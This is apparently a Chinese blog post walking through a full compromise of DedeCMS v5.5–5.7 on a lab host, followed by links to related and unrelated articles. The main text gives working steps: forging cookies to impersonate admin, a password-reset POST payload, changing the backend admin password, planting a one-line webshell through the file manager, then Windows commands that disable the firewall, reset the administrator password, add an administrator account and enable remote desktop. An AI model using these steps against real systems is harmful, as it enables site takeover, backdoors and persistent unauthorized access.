日期:2019-08-08 10:20:28
更新:
作者:Bay0net
介绍:


0x01、组合拳拿 shell

漏洞版本:v5.5 - v5.7

前台任意用户密码重置

首先注册一个账户,账户名为 0000001,此处注册的账户,前面是多个 0,后面是 1 就行。

注册链接:
http://192.168.31.59/member/index_do.php?fmdo=user&dopost=regnew

注册完成后,登录,登录完以后访问个人主页:
http://192.168.31.59/member/index.php?uid=0000001

查看当前的 cookie:

DedeUserID 改成自己的账户名,0000001
DedeUserID__ckMd5 改成 last_vid__ckMd5 的值。

修改后:

修改完成以后,访问个人主页,发现自己已经变成了 admin。
个人主页:http://192.168.31.59/member/

此时,我们已经利用 admin 权限登录到了前台,但是不知道 admin 的密码,如果想修改 admin 的密码,必须知道原密码,所以我们需要利用漏洞来重置前台 admin 用户的密码。

前台用户密码重置

把 burp 打开,然后利用下面的 payload,拿到修改密码的链接。

利用 hackerbar 去发送 payloa。

# URL
http://192.168.31.59/member/resetpassword.php # POST 的数据
dopost=safequestion&safequestion=0.0&safeanswer=&id=1

放过 POST 的数据包,burp 就会抓到修改密码的数据包。

在浏览器中访问,即可重置用户的密码。(忘了截图,网上找了个,注意 IP 地址要改成自己的。)

此时,我们拥有了前台 admin 账户的密码。

修改后台 admin 密码

dedecms 在修改密码时,如果前台的用户是 admin,那么前台修改 admin 的密码,后台 admin 的密码也会变。

访问下面的页面,修改 admin 的密码,前后台 admin 密码会一起修改。
http://192.168.31.59/member/edit_baseinfo.php

利用修改的密码登录后台:
http://192.168.31.59/dede

后台拿 shell

访问后台,利用刚才修改的密码登录。
后台地址:192.168.31.59/dede/

依次选择模块 -> 文件管理器 -> 新建文件

写入一句话,然后保存。

成功上传一句话,可以执行。

提权

菜刀连接一句话,使用虚拟终端执行以下命令。

# 使用命令关闭防火墙
netsh advfirewall set allprofiles state off # 重置管理员密码
net user administrator qwe123... # 也可以新建账户,提到管理员组。
# 不如直接重置管理员密码方便,密码复杂度有问题的话新建还会出错。
net user gp001 qwe123... /add
net localgroup administrators gp001 /add # 如果没开 3389 的话,需要用命令开启 3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

利用刚才新建的账户/密码,或者重置的管理员密码,远程连接即可。

DEDECMS 漏洞汇总的更多相关文章

  1. 应用安全 - PHP - CMS - DeDeCMS - 漏洞 - 汇总

    SSV-97074 Date 类型 前台任意密码修改 影响范围 前置条件 CVE-2018-20129 Date 类型前台文件上传 影响范围 前置条件(1)前台登录(2)/member/article ...

  2. 织梦dedecms漏洞修复大全(5.7起)

    很多人说dedecms不好,因为用的人多了,找漏洞的人也多了,那么如果我们能修复的话,这些都不是问题. 好,我们来一个一个修复.修复方法都是下载目录下该文件,然后替换或添加部分代码,保存后上传覆盖(记 ...

  3. Apache Shiro 漏洞汇总

    Apache Shiro 漏洞汇总 以下是我个人通过收集信息收集起来的一些Apache Shiro漏洞信息,这些漏洞的poc都是公开的,利用起来也是比较简单 Apache Shiro是什么东西: Ap ...

  4. DeDeCMS 每次都被黑出翔了!!DEDECMS漏洞扫描

    在dedecms基础上用插件的形式制作了一分类信息平台.结果问题不断的接踵而至.每次上去扫描一下.各种漏洞.危急代码一堆一堆的.全然被黑出翔了. 之所以这种原因, 1)开源程序的开放性,让全部人都能够 ...

  5. DEDECMS 漏洞修复方案

    目录 DEDECMS支付模块注入漏洞 漏洞文件: /include/payment/alipay.php 漏洞描述: 对输入参数$_GET['out_trade_no']未进行严格过滤 修复方案: 对 ...

  6. 企业网站被黑 dedecms漏洞修复办法

    前段时间网站被黑了,从百度打开网站直接被劫持跳转到了彩票,du博网站上去,网站的首页index.html文件也被篡改成一些什么北京sai车,pk10,一些cai票的关键词内容,搞得网站根本无法正常浏览 ...

  7. DeDecms远程写入漏洞webshell (dedecms漏洞)

    解释下Apache解析文件的流程: 当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名.如果所有的扩展名Apache都不认识,那么变会 ...

  8. 常见Java库漏洞汇总

    1.ActiveMQ 反序列化漏洞(CVE-2015-5254) ref:https://www.nanoxika.com/?p=408 Apache ActiveMQ是美国阿帕奇(Apache)软件 ...

  9. Zabbix漏洞汇总

    一.zabbix: zabbix是监控是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案.zabbix能监视各种网络参数,保证服务器系统的安全运营:并提供灵活的通知机制以让 ...

随机推荐

  1. 5.java动态代理、反射

    1.java动态代理.反射(IDEA导入JUnit4) 1.1.反射 通过反射的方式可以获取class对象中的属性.方法.构造函数等 1.2.反射代码 import java.io.Serializa ...

  2. Visual Studio 2019社区版:错误 MSB6006 “CL.exe”已退出,代码为 2

    系统:win10 环境:Visual Studio 2019社区版 问题:错误 MSB6006 “CL.exe”已退出,代码为 2 解决方法: 1 一个类内部的定义返回类型为double的方法种没有写 ...

  3. AspectJ的表达式实例

    Joinpoints 连接点,通俗的讲就是想要横切的目标,这些目标包括方法(Method),构造器(Constructor),域(Field),异常(Exception),对象和类初始化(Object ...

  4. Python:面向对象编程2

    types.MethodType __slot__ @property,  @xxx.setter Python的多重继承和MinIn 如何在class创建后,给实例绑定属性和方法? (动态绑定/定义 ...

  5. 差分约束详解&&洛谷SCOI2011糖果题解

    差分约束系统: 如果一个系统由n个变量和m个约束条件组成,形成m个形如ai-aj≤k的不等式(i,j∈[1,n],k为常数),则称其为差分约束系统(system of difference const ...

  6. 集合(五) TreeMap

    4.TreeMap SortedMap接口继承Map接口,是排序键值对的接口,实现排序的的方法是Comparator.而NavigableMap接口继承于SortedMap,新增了一些导航方法.而Tr ...

  7. Pandas中DataFrame数据合并、连接(concat、merge、join)之concat

    一.concat:沿着一条轴,将多个对象堆叠到一起 concat(objs, axis=0, join='outer', join_axes=None, ignore_index=False, key ...

  8. HDU 6053 - TrickGCD | 2017 Multi-University Training Contest 2

    /* HDU 6053 - TrickGCD [ 莫比乌斯函数,筛法分块 ] | 2017 Multi-University Training Contest 2 题意: 给出数列 A[N],问满足: ...

  9. [人物存档]【AI少女】【捏脸数据】活泼少女

    AISChaF_20191028022750507.png

  10. np.max() 和 np.maximum()的区别

    1.np.max(a, axis=None, out=None, keepdims=False) 求序列的最值 最少接受一个参数 axis默认为axis=0即列向,如果axis=1即横向 ex: &g ...